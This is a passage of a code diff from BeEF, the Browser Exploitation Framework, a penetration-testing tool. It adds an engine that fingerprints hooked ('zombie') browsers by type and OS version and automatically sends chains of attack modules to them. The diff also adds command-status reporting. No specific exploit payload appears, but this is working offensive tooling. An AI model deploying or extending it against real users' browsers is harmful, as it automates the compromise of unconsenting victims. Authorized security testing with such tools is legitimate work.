if browser_match && os_match
|
||||
print_more "Hooked browser and OS type/version MATCH rule: #{rule.name}."
|
||||
match_rules.push(rule.id)
|
||||
end
|
||||
rescue => e
|
||||
print_error e.message
|
||||
print_debug e.backtrace.join("\n")
|
||||
end
|
||||
end
|
||||
print_more "Found [#{match_rules.length}/#{rules.length}] ARE rules matching the hooked browser type/version."
|
||||
|
||||
return match_rules
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
30
core/main/autorun_engine/models/execution.rb
Normal file
30
core/main/autorun_engine/models/execution.rb
Normal file
@@ -0,0 +1,30 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
module BeEF
|
||||
module Core
|
||||
module AutorunEngine
|
||||
module Models
|
||||
# @note Stored info about the execution of the ARE on hooked browsers.
|
||||
class Execution
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'core_areexecution'
|
||||
|
||||
property :id, Serial
|
||||
property :session, Text # hooked browser session where a ruleset triggered
|
||||
property :mod_count, Integer # number of command modules of the ruleset
|
||||
property :mod_successful, Integer # number of command modules that returned with success
|
||||
# By default Text is only 65K, so field length increased to 1 MB
|
||||
property :mod_body, Text, :length => 1024000 # entire command module(s) body to be sent
|
||||
property :exec_time, String, :length => 15 # timestamp of ruleset triggering
|
||||
property :is_sent, Boolean
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
34
core/main/autorun_engine/models/rule.rb
Normal file
34
core/main/autorun_engine/models/rule.rb
Normal file
@@ -0,0 +1,34 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
module BeEF
|
||||
module Core
|
||||
module AutorunEngine
|
||||
module Models
|
||||
# @note Table stores the rules for the Distributed Engine.
|
||||
class Rule
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'core_arerules'
|
||||
|
||||
property :id, Serial
|
||||
property :name, Text # rule name
|
||||
property :author, String # rule author
|
||||
property :browser, String, :length => 10 # browser name
|
||||
property :browser_version, String, :length => 10 # browser version
|
||||
property :os, String, :length => 10 # OS name
|
||||
property :os_version, String, :length => 10 # OS version
|
||||
property :modules, Text # JSON stringyfied representation of the JSON rule for further parsing
|
||||
property :execution_order, Text # command module execution order
|
||||
property :execution_delay, Text # command module time delays
|
||||
property :chain_mode, String, :length => 40 # rule chaining mode
|
||||
|
||||
has n, :executions
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
75
core/main/autorun_engine/parser.rb
Normal file
75
core/main/autorun_engine/parser.rb
Normal file
@@ -0,0 +1,75 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module AutorunEngine
|
||||
|
||||
class Parser
|
||||
|
||||
include Singleton
|
||||
|
||||
def initialize
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
end
|
||||
|
||||
BROWSER = ['FF','C','IE','S','O','ALL']
|
||||
OS = ['Linux','Windows','OSX','Android','iOS','BlackBerry','ALL']
|
||||
VERSION = ['<','<=','==','>=','>','ALL','Vista','XP']
|
||||
CHAIN_MODE = ['sequential','nested-forward']
|
||||
|
||||
# Parse a JSON ARE file and returns an Hash with the value mappings
|
||||
def parse(name,author,browser, browser_version, os, os_version, modules, exec_order, exec_delay, chain_mode)
|
||||
begin
|
||||
success = [true]
|
||||
|
||||
return [false, 'Illegal chain_mode definition'] unless CHAIN_MODE.include?(chain_mode)
|
||||
return [false, 'Illegal rule name'] unless BeEF::Filters.is_non_empty_string?(name)
|
||||
return [false, 'Illegal author name'] unless BeEF::Filters.is_non_empty_string?(author)
|
||||
|
||||
return [false, 'Illegal browser definition'] unless BROWSER.include?(browser)
|
||||
return [false, 'Illegal browser_version definition'] unless BeEF::Filters::is_valid_browserversion?(
|
||||
browser_version.split(' ').last) || VERSION.include?(browser_version[0,2].gsub(/\s+/,'')) || browser_version == 'ALL'
|
||||
|
||||
return [false, 'Illegal os definition'] unless OS.include?(os)
|
||||
return [false, 'Illegal os_version definition'] unless
|
||||
(VERSION.include?(os_version[0, 2].gsub(/\s+/, '')) || os_version == 'ALL') && BeEF::Filters::only?("a-zA-Z0-9.<=> ",os_version)
|
||||
|
||||
|
||||
# check if module names, conditions and options are ok
|
||||
modules.each do |cmd_mod|
|
||||
mod = BeEF::Core::Models::CommandModule.first(:name => cmd_mod['name'])
|
||||
if mod != nil
|
||||
modk = BeEF::Module.get_key_by_database_id(mod.id)
|
||||
mod_options = BeEF::Module.get_options(modk)
|
||||
|
||||
opt_count = 0
|
||||
mod_options.each do |opt|
|
||||
if opt['name'] == cmd_mod['options'].keys[opt_count]
|
||||
opt_count += 1
|
||||
else
|
||||
return [false, "The specified option (#{cmd_mod['options'].keys[opt_count]
|
||||
}) for module (#{cmd_mod['name']}) does not exist"]
|
||||
end
|
||||
end
|
||||
else
|
||||
return [false, "The specified module name (#{cmd_mod['name']}) does not exist"]
|
||||
end
|
||||
end
|
||||
|
||||
exec_order.each{ |order| return [false, 'execution_order values must be Integers'] unless order.integer?}
|
||||
exec_delay.each{ |delay| return [false, 'execution_delay values must be Integers'] unless delay.integer?}
|
||||
|
||||
success
|
||||
rescue => e
|
||||
print_error "#{e.message}"
|
||||
print_debug "#{e.backtrace.join("\n")}"
|
||||
return [false, 'Something went wrong.']
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
95
core/main/autorun_engine/rule_loader.rb
Normal file
95
core/main/autorun_engine/rule_loader.rb
Normal file
@@ -0,0 +1,95 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module AutorunEngine
|
||||
|
||||
class RuleLoader
|
||||
|
||||
include Singleton
|
||||
|
||||
def initialize
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
end
|
||||
|
||||
# this expects parsed JSON as input
|
||||
def load(data)
|
||||
begin
|
||||
|
||||
name = data['name']
|
||||
author = data['author']
|
||||
browser = data['browser']
|
||||
browser_version = data['browser_version']
|
||||
os = data['os']
|
||||
os_version = data['os_version']
|
||||
modules = data['modules']
|
||||
exec_order = data['execution_order']
|
||||
exec_delay = data['execution_delay']
|
||||
chain_mode = data['chain_mode']
|
||||
|
||||
parser_result = BeEF::Core::AutorunEngine::Parser.instance.parse(
|
||||
name,author,browser,browser_version,os,os_version,modules,exec_order,exec_delay,chain_mode)
|
||||
|
||||
if parser_result.length == 1 && parser_result.first
|
||||
print_info "[ARE] Ruleset (#{name}) parsed and stored successfully."
|
||||
print_more "Target Browser: #{browser} (#{browser_version})"
|
||||
print_more "Target OS: #{os} (#{os_version})"
|
||||
print_more "Modules to Trigger:"
|
||||
modules.each do |mod|
|
||||
print_more "(*) Name: #{mod['name']}"
|
||||
print_more "(*) Condition: #{mod['condition']}"
|
||||
print_more "(*) Code: #{mod['code']}"
|
||||
print_more "(*) Options:"
|
||||
mod['options'].each do |key,value|
|
||||
print_more "\t#{key}: (#{value})"
|
||||
end
|
||||
end
|
||||
print_more "Exec order: #{exec_order}"
|
||||
print_more "Exec delay: #{exec_delay}"
|
||||
are_rule = BeEF::Core::AutorunEngine::Models::Rule.new(
|
||||
:name => name,
|
||||
:author => author,
|
||||
:browser => browser,
|
||||
:browser_version => browser_version,
|
||||
:os => os,
|
||||
:os_version => os_version,
|
||||
:modules => modules.to_json,
|
||||
:execution_order => exec_order,
|
||||
:execution_delay => exec_delay,
|
||||
:chain_mode => chain_mode)
|
||||
are_rule.save
|
||||
return { 'success' => true, 'rule_id' => are_rule.id}
|
||||
else
|
||||
print_error "[ARE] Ruleset (#{name}): ERROR. " + parser_result.last
|
||||
return { 'success' => false, 'error' => parser_result.last }
|
||||
end
|
||||
|
||||
rescue => e
|
||||
err = 'Malformed JSON ruleset.'
|
||||
print_error "[ARE] Ruleset (#{name}): ERROR. #{e} #{e.backtrace}"
|
||||
return { 'success' => false, 'error' => err }
|
||||
end
|
||||
end
|
||||
|
||||
def load_file(json_rule_path)
|
||||
begin
|
||||
rule_file = File.open(json_rule_path, 'r:UTF-8', &:read)
|
||||
self.load JSON.parse(rule_file)
|
||||
rescue => e
|
||||
print_error "[ARE] Failed to load ruleset from #{json_rule_path}"
|
||||
end
|
||||
end
|
||||
|
||||
def load_directory
|
||||
Dir.glob("#{$root_dir}/arerules/enabled/**/*.json") do |rule|
|
||||
print_info "[ARE] Processing rule: #{rule}"
|
||||
self.load_file rule
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -5,43 +5,14 @@
|
||||
//
|
||||
|
||||
beef.are = {
|
||||
init:function(){
|
||||
var Jools = require('jools');
|
||||
this.ruleEngine = new Jools();
|
||||
status_success: function(){
|
||||
return 1;
|
||||
},
|
||||
send:function(module){
|
||||
// there will probably be some other stuff here before things are finished
|
||||
this.commands.push(module);
|
||||
status_unknown: function(){
|
||||
return 0;
|
||||
},
|
||||
execute:function(inputs){
|
||||
this.rulesEngine.execute(input);
|
||||
},
|
||||
cache_modules:function(modules){},
|
||||
rules:[
|
||||
{
|
||||
'name':"exec_no_input",
|
||||
'condition':function(command,browser){
|
||||
//need to figure out how to handle the inputs
|
||||
return (!command['inputs'] || command['inputs'].length == 0)
|
||||
},
|
||||
'consequence':function(command,browser){}
|
||||
},
|
||||
{
|
||||
'name':"module_has_sibling",
|
||||
'condition':function(command,commands){
|
||||
return false;
|
||||
},
|
||||
'consequence':function(command,commands){}
|
||||
},
|
||||
{
|
||||
'name':"module_depends_on_module",
|
||||
'condition':function(command,commands){
|
||||
return false;
|
||||
},
|
||||
'consequence':function(command,commands){}
|
||||
status_error: function(){
|
||||
return -1;
|
||||
}
|
||||
],
|
||||
commands:[],
|
||||
results:[]
|
||||
};
|
||||
beef.regCmp("beef.are");
|
||||
|
||||
@@ -2296,6 +2296,7 @@ beef.browser = {
|
||||
var browser_plugins = beef.browser.getPlugins();
|
||||
var date_stamp = new Date().toString();
|
||||
var os_name = beef.os.getName();
|
||||
var os_version = beef.os.getVersion();
|
||||
var default_browser = beef.os.getDefaultBrowser();
|
||||
var hw_name = beef.hardware.getName();
|
||||
var cpu_type = beef.hardware.cpuType();
|
||||
@@ -2343,6 +2344,7 @@ beef.browser = {
|
||||
if (hostport) details['HostPort'] = hostport;
|
||||
if (browser_plugins) details['BrowserPlugins'] = browser_plugins;
|
||||
if (os_name) details['OsName'] = os_name;
|
||||
if (os_version) details['OsVersion'] = os_version;
|
||||
if (default_browser) details['DefaultBrowser'] = default_browser;
|
||||
if (hw_name) details['Hardware'] = hw_name;
|
||||
if (cpu_type) details['CPU'] = cpu_type;
|
||||
|
||||
@@ -69,13 +69,11 @@ function beef_init() {
|
||||
beef.net.browser_details();
|
||||
beef.updater.execute_commands();
|
||||
beef.logger.start();
|
||||
beef.are.init();
|
||||
}else {
|
||||
beef.net.browser_details();
|
||||
beef.updater.execute_commands();
|
||||
beef.updater.check();
|
||||
beef.logger.start();
|
||||
beef.are.init();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -35,6 +35,7 @@ beef.net = {
|
||||
command: function () {
|
||||
this.cid = null;
|
||||
this.results = null;
|
||||
this.status = null;
|
||||
this.handler = null;
|
||||
this.callback = null;
|
||||
},
|
||||
@@ -84,13 +85,15 @@ beef.net = {
|
||||
* @param: {String} handler: the server-side handler that will be called
|
||||
* @param: {Integer} cid: command id
|
||||
* @param: {String} results: the data to send
|
||||
* @param: {Integer} status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
|
||||
* @param: {Function} callback: the function to call after execution
|
||||
*/
|
||||
queue: function (handler, cid, results, callback) {
|
||||
queue: function (handler, cid, results, status, callback) {
|
||||
if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
|
||||
var s = new beef.net.command();
|
||||
s.cid = cid;
|
||||
s.results = beef.net.clean(results);
|
||||
s.status = status;
|
||||
s.callback = callback;
|
||||
s.handler = handler;
|
||||
this.cmd_queue.push(s);
|
||||
@@ -105,22 +108,32 @@ beef.net = {
|
||||
* @param: {String} handler: the server-side handler that will be called
|
||||
* @param: {Integer} cid: command id
|
||||
* @param: {String} results: the data to send
|
||||
* @param: {Integer} exec_status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
|
||||
* @param: {Function} callback: the function to call after execution
|
||||
* @return: {Integer} exec_status: the command module execution status (defaults to 0 - 'unknown' if status is null)
|
||||
*/
|
||||
send: function (handler, cid, results, callback) {
|
||||
send: function (handler, cid, results, exec_status, callback) {
|
||||
// defaults to 'unknown' execution status if no parameter is provided, otherwise set the status
|
||||
var status = 0;
|
||||
if (exec_status != null && parseInt(Number(exec_status)) == exec_status){ status = exec_status}
|
||||
|
||||
if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) {
|
||||
this.queue(handler, cid, results, callback);
|
||||
this.queue(handler, cid, results, status, callback);
|
||||
this.flush();
|
||||
} else {
|
||||
try {
|
||||
beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
|
||||
'", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
|
||||
'","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }');
|
||||
'", "status": "' + exec_status +
|
||||
'", "callback": "' + callback +
|
||||
'","bh":"' + beef.session.get_hook_session_id() + '" }');
|
||||
} catch (e) {
|
||||
this.queue(handler, cid, results, callback);
|
||||
this.queue(handler, cid, results, status, callback);
|
||||
this.flush();
|
||||
}
|
||||
}
|
||||
|
||||
return status;
|
||||
},
|
||||
|
||||
/**
|
||||
|
||||
@@ -30,6 +30,7 @@ beef.os = {
|
||||
return result;
|
||||
},
|
||||
|
||||
// the likelihood that we hook Windows 3.11 (which has only Win in the UA string) is zero in 2015
|
||||
isWin311: function() {
|
||||
return (this.ua.match('(Win16)')) ? true : false;
|
||||
},
|
||||
@@ -101,6 +102,19 @@ beef.os = {
|
||||
return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false;
|
||||
},
|
||||
|
||||
isOsxYosemite: function(){ // TODO
|
||||
return (this.ua.match('(OS X 10_10)|(OS X 10.10)')) ? true : false;
|
||||
},
|
||||
isOsxMavericks: function(){ // TODO
|
||||
return (this.ua.match('(OS X 10_9)|(OS X 10.9)')) ? true : false;
|
||||
},
|
||||
isOsxSnowLeopard: function(){ // TODO
|
||||
return (this.ua.match('(OS X 10_8)|(OS X 10.8)')) ? true : false;
|
||||
},
|
||||
isOsxLeopard: function(){ // TODO
|
||||
return (this.ua.match('(OS X 10_7)|(OS X 10.7)')) ? true : false;
|
||||
},
|
||||
|
||||
isWinPhone: function() {
|
||||
return (this.ua.match('(Windows Phone)')) ? true : false;
|
||||
},
|
||||
@@ -142,34 +156,24 @@ beef.os = {
|
||||
},
|
||||
|
||||
isWindows: function() {
|
||||
return this.isWin311() || this.isWinNT4() || this.isWinCE() || this.isWin95() || this.isWin98() || this.isWinME() || this.isWin2000() || this.isWin2000SP1() || this.isWinXP() || this.isWinServer2003() || this.isWinVista() || this.isWin7() || this.isWin8() || this.isWin81() || this.isWinPhone();
|
||||
return (this.ua.match('Windows')) ? true : false;
|
||||
},
|
||||
|
||||
getName: function() {
|
||||
//Windows
|
||||
if(this.isWin311()) return 'Windows 3.11';
|
||||
if(this.isWinNT4()) return 'Windows NT 4';
|
||||
if(this.isWinCE()) return 'Windows CE';
|
||||
if(this.isWin95()) return 'Windows 95';
|
||||
if(this.isWin98()) return 'Windows 98';
|
||||
if(this.isWinME()) return 'Windows Millenium';
|
||||
if(this.isWin2000()) return 'Windows 2000';
|
||||
if(this.isWin2000SP1()) return 'Windows 2000 SP1';
|
||||
if(this.isWinXP()) return 'Windows XP';
|
||||
if(this.isWinServer2003()) return 'Windows Server 2003';
|
||||
if(this.isWinVista()) return 'Windows Vista';
|
||||
if(this.isWin7()) return 'Windows 7';
|
||||
if(this.isWin8()) return 'Windows 8';
|
||||
if(this.isWin81()) return 'Windows 8.1';
|
||||
|
||||
if(this.isWindows()){
|
||||
return 'Windows';
|
||||
}
|
||||
|
||||
if(this.isMacintosh()) {
|
||||
return 'OSX';
|
||||
}
|
||||
|
||||
//Nokia
|
||||
if(this.isNokia()) {
|
||||
|
||||
if (this.ua.indexOf('Maemo Browser') != -1) return 'Maemo';
|
||||
if (this.ua.match('(SymbianOS)|(Symbian OS)')) return 'SymbianOS';
|
||||
if (this.ua.indexOf('Symbian') != -1) return 'Symbian';
|
||||
|
||||
//return 'Nokia';
|
||||
}
|
||||
|
||||
// BlackBerry
|
||||
@@ -178,7 +182,7 @@ beef.os = {
|
||||
// Android
|
||||
if(this.isAndroid()) return 'Android';
|
||||
|
||||
//linux
|
||||
//Linux
|
||||
if(this.isLinux()) return 'Linux';
|
||||
if(this.isSunOS()) return 'Sun OS';
|
||||
|
||||
@@ -189,23 +193,42 @@ beef.os = {
|
||||
//iPod
|
||||
if (this.isIpod()) return 'iOS';
|
||||
|
||||
// zune
|
||||
//if (this.isZune()) return 'Zune';
|
||||
|
||||
//macintosh
|
||||
if(this.isMacintosh()) {
|
||||
if((typeof navigator.oscpu != 'undefined') && (navigator.oscpu.indexOf('Mac OS')!=-1))
|
||||
return navigator.oscpu;
|
||||
|
||||
return 'Macintosh';
|
||||
}
|
||||
|
||||
//others
|
||||
if(this.isQNX()) return 'QNX';
|
||||
if(this.isBeOS()) return 'BeOS';
|
||||
if(this.isWebOS()) return 'webOS';
|
||||
|
||||
return 'unknown';
|
||||
},
|
||||
|
||||
getVersion: function(){
|
||||
//Windows
|
||||
if(this.isWindows()) {
|
||||
if (this.isWin81()) return '8.1';
|
||||
if (this.isWin8()) return '8';
|
||||
if (this.isWin7()) return '7';
|
||||
if (this.isWinVista()) return 'Vista';
|
||||
if (this.isWinXP()) return 'XP';
|
||||
if (this.isWinServer2003()) return 'Server 2003';
|
||||
if (this.isWin2000SP1()) return '2000 SP1';
|
||||
if (this.isWin2000()) return '2000';
|
||||
if (this.isWinME()) return 'Millenium';
|
||||
|
||||
if (this.isWinNT4()) return 'NT 4';
|
||||
if (this.isWinCE()) return 'CE';
|
||||
if (this.isWin95()) return '95';
|
||||
if (this.isWin98()) return '98';
|
||||
}
|
||||
|
||||
// OS X
|
||||
if(this.isMacintosh()) {
|
||||
if (this.isOsxYosemite()) return '10.10';
|
||||
if (this.isOsxMavericks()) return '10.9';
|
||||
if (this.isOsxSnowLeopard()) return '10.8';
|
||||
if (this.isOsxLeopard()) return '10.7';
|
||||
}
|
||||
|
||||
// TODO add Android/iOS version detection
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
@@ -14,4 +14,4 @@
|
||||
Cheers to John Wilander that discussed this bug with me at OWASP AppSec Research Greece
|
||||
antisnatchor
|
||||
*/
|
||||
setTimeout(beef_init, 1000);
|
||||
//setTimeout(beef_init, 1000);
|
||||
@@ -216,7 +216,7 @@ module BeEF
|
||||
self.err_msg "Invalid cookies returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the os name
|
||||
# get and store the OS name
|
||||
os_name = get_param(@data['results'], 'OsName')
|
||||
if BeEF::Filters.is_valid_osname?(os_name)
|
||||
BD.set(session_id, 'OsName', os_name)
|
||||
@@ -224,6 +224,10 @@ module BeEF
|
||||
self.err_msg "Invalid operating system name returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the OS version (without checks as it can be very different or even empty, for instance on linux/bsd)
|
||||
os_version = get_param(@data['results'], 'OsVersion')
|
||||
BD.set(session_id, 'OsVersion', os_version)
|
||||
|
||||
# get and store default browser
|
||||
default_browser = get_param(@data['results'], 'DefaultBrowser')
|
||||
BD.set(session_id, 'DefaultBrowser', default_browser)
|
||||
@@ -349,7 +353,7 @@ module BeEF
|
||||
end
|
||||
|
||||
# log a few info of newly hooked zombie in the console
|
||||
print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]"
|
||||
print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, browser:#{browser_name}-#{browser_version}, os:#{os_name}-#{os_version}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]"
|
||||
|
||||
# add localhost as network host
|
||||
if config.get('beef.extension.network.enable')
|
||||
@@ -358,27 +362,13 @@ module BeEF
|
||||
r.save
|
||||
end
|
||||
|
||||
# Call autorun modules
|
||||
if config.get('beef.autorun.enable')
|
||||
autorun = []
|
||||
BeEF::Core::Configuration.instance.get('beef.module').each { |k, v|
|
||||
if v.has_key?('autorun') and v['autorun'] == true
|
||||
target_status = BeEF::Module.support(k, {'browser' => browser_name, 'ver' => browser_version, 'os' => os_name})
|
||||
if target_status == BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
|
||||
BeEF::Module.execute(k, session_id)
|
||||
autorun.push(k)
|
||||
elsif target_status == BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY and config.get('beef.autorun.allow_user_notify')
|
||||
BeEF::Module.execute(k, session_id)
|
||||
autorun.push(k)
|
||||
else
|
||||
print_debug "Autorun attempted to execute unsupported module '#{k}' against Hooked browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}]"
|
||||
end
|
||||
end
|
||||
}
|
||||
if autorun.length > 0
|
||||
print_info "Autorun executed[#{autorun.join(', ')}] against Hooked browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}]"
|
||||
end
|
||||
end
|
||||
# Autorun Rule Engine - Check if the hooked browser type/version and OS type/version match any Rule-sets
|
||||
# stored in the BeEF::Core::AutorunEngine::Models::Rule database table
|
||||
# If one or more Rule-sets do match, trigger the module chain specified
|
||||
#
|
||||
are = BeEF::Core::AutorunEngine::Engine.instance
|
||||
match_rules = are.match(browser_name, browser_version, os_name, os_version)
|
||||
are.trigger(match_rules, zombie.id) if match_rules.length > 0
|
||||
|
||||
if config.get('beef.integration.phishing_frenzy.enable')
|
||||
# get and store the browser plugins
|
||||
|
||||
@@ -42,7 +42,7 @@ module BeEF
|
||||
|
||||
# @note get and check session id from the request
|
||||
beefhook = get_param(@data, 'beefhook')
|
||||
(print_error "BeEFhook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(beefhook)
|
||||
(print_error "BeEF hook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(beefhook)
|
||||
|
||||
result = get_param(@data, 'results')
|
||||
|
||||
@@ -57,11 +57,14 @@ module BeEF
|
||||
# @note get/set details for datastore and log entry
|
||||
command_friendly_name = command.friendlyname
|
||||
(print_error "command friendly name is empty"; return) if command_friendly_name.empty?
|
||||
command_results = get_param(@data, 'results')
|
||||
(print_error "command results are empty"; return) if command_results.empty?
|
||||
|
||||
command_status = @data['status']
|
||||
command_results = @data['results']
|
||||
(print_error "command results or status are empty"; return) if command_results.empty?
|
||||
|
||||
# @note save the command module results to the datastore and create a log entry
|
||||
command_results = {'data' => command_results}
|
||||
BeEF::Core::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results)
|
||||
BeEF::Core::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results, command_status)
|
||||
|
||||
end
|
||||
|
||||
|
||||
@@ -79,6 +79,13 @@ module Handlers
|
||||
zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false)
|
||||
zombie_commands.each{|command| add_command_instructions(command, hooked_browser)}
|
||||
|
||||
# TODO this is not considering WebSocket channel, as data is sent from core/main/handlers/modules/command.rb if WS is enabled
|
||||
are_executions = BeEF::Core::AutorunEngine::Models::Execution.all(:is_sent => false, :session => hook_session_id)
|
||||
are_executions.each do |are_exec|
|
||||
@body += are_exec.mod_body
|
||||
are_exec.update(:is_sent => true, :exec_time => Time.new.to_i)
|
||||
end
|
||||
|
||||
# @note We dynamically get the list of all browser hook handler using the API and register them
|
||||
BeEF::API::Registrar.instance.fire(BeEF::API::Server::Hook, 'pre_hook_send', hooked_browser, @body, @params, request, response)
|
||||
end
|
||||
|
||||
@@ -21,7 +21,7 @@ module BeEF
|
||||
beef_js_path = "#{$root_dir}/core/main/client/"
|
||||
|
||||
# @note External libraries (like jQuery) that are not evaluated with Eruby and possibly not obfuscated
|
||||
ext_js_sub_files = %w(lib/jquery-1.10.2.min.js lib/jquery-migrate-1.2.1.min.js lib/evercookie.js lib/json2.js lib/jools.min.js lib/mdetect.js)
|
||||
ext_js_sub_files = %w(lib/jquery-1.10.2.min.js lib/jquery-migrate-1.2.1.min.js lib/evercookie.js lib/json2.js lib/mdetect.js)
|
||||
|
||||
# @note BeEF libraries: need Eruby evaluation and obfuscation
|
||||
beef_js_sub_files = %w(beef.js browser.js browser/cookie.js browser/popup.js session.js os.js hardware.js dom.js logger.js net.js updater.js encode/base64.js encode/json.js net/local.js init.js mitb.js net/dns.js net/cors.js are.js)
|
||||
|
||||
@@ -38,7 +38,7 @@ module BeEF
|
||||
command_module.build_datastore(command.data)
|
||||
command_module.pre_send
|
||||
|
||||
build_missing_beefjs_components(command_module.beefjs_components) if not command_module.beefjs_components.empty?
|
||||
build_missing_beefjs_components(command_module.beefjs_components) unless command_module.beefjs_components.empty?
|
||||
|
||||
ws = BeEF::Core::Websocket::Websocket.instance
|
||||
|
||||
|
||||
@@ -23,12 +23,13 @@ module Models
|
||||
|
||||
has n, :results
|
||||
|
||||
|
||||
# Save results and flag that the command has been run on the hooked browser
|
||||
# @param [String] hook_session_id The session_id.
|
||||
# @param [String] command_id The command_id.
|
||||
# @param [String] command_friendly_name The command friendly name.
|
||||
# @param [String] result The result of the command module.
|
||||
def self.save_result(hook_session_id, command_id, command_friendly_name, result)
|
||||
def self.save_result(hook_session_id, command_id, command_friendly_name, result, status)
|
||||
# @note enforcing arguments types
|
||||
command_id = command_id.to_i
|
||||
|
||||
@@ -37,6 +38,7 @@ module Models
|
||||
raise Exception::TypeError, '"command_id" needs to be an integer' if not command_id.integer?
|
||||
raise Exception::TypeError, '"command_friendly_name" needs to be a string' if not command_friendly_name.string?
|
||||
raise Exception::TypeError, '"result" needs to be a hash' if not result.hash?
|
||||
raise Exception::TypeError, '"status" needs to be an integer' if not status.integer?
|
||||
|
||||
# @note get the hooked browser structure and id from the database
|
||||
hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => hook_session_id) || nil
|
||||
@@ -51,20 +53,29 @@ module Models
|
||||
raise Exception::TypeError, "command is nil" if command.nil?
|
||||
|
||||
# @note create the entry for the results
|
||||
command.results.new(:hooked_browser_id => hooked_browser_id, :data => result.to_json, :date => Time.now.to_i)
|
||||
command.results.new(:hooked_browser_id => hooked_browser_id,
|
||||
:data => result.to_json,:status => status,:date => Time.now.to_i)
|
||||
command.save
|
||||
|
||||
# @note log that the result was returned
|
||||
BeEF::Core::Logger.instance.register('Command', "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has executed instructions from command module [id:#{command_id}, name:'#{command_friendly_name}']", hooked_browser_id)
|
||||
|
||||
# @note prints the event into the console
|
||||
if BeEF::Settings.console?
|
||||
print_info "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has executed instructions from command module [id:#{command_id}, name:'#{command_friendly_name}']"
|
||||
s = self.show_status(status)
|
||||
log = "Hooked browser [id:#{hooked_browser.id}, ip:#{hooked_browser.ip}] has executed instructions (status: #{s}) from command module [id:#{command_id}, name:'#{command_friendly_name}']"
|
||||
BeEF::Core::Logger.instance.register('Command', log, hooked_browser_id)
|
||||
print_info log
|
||||
end
|
||||
|
||||
def self.show_status(status)
|
||||
case status
|
||||
when -1
|
||||
result = 'ERROR'
|
||||
when 1
|
||||
result = 'SUCCESS'
|
||||
else
|
||||
result = 'UNKNOWN'
|
||||
end
|
||||
result
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -15,6 +15,7 @@ module Models
|
||||
|
||||
property :id, Serial
|
||||
property :date, String, :length => 15, :lazy => false
|
||||
property :status, Integer
|
||||
property :data, Text
|
||||
|
||||
end
|
||||
|
||||
@@ -43,13 +43,20 @@ module BeEF
|
||||
end
|
||||
end
|
||||
|
||||
module RegisterAutorunHandler
|
||||
def self.mount_handler(server)
|
||||
server.mount('/api/autorun', BeEF::Core::Rest::AutorunEngine.new)
|
||||
end
|
||||
end
|
||||
|
||||
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterHooksHandler, BeEF::API::Server, 'mount_handler')
|
||||
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterModulesHandler, BeEF::API::Server, 'mount_handler')
|
||||
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterCategoriesHandler, BeEF::API::Server, 'mount_handler')
|
||||
|
||||
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterLogsHandler, BeEF::API::Server, 'mount_handler')
|
||||
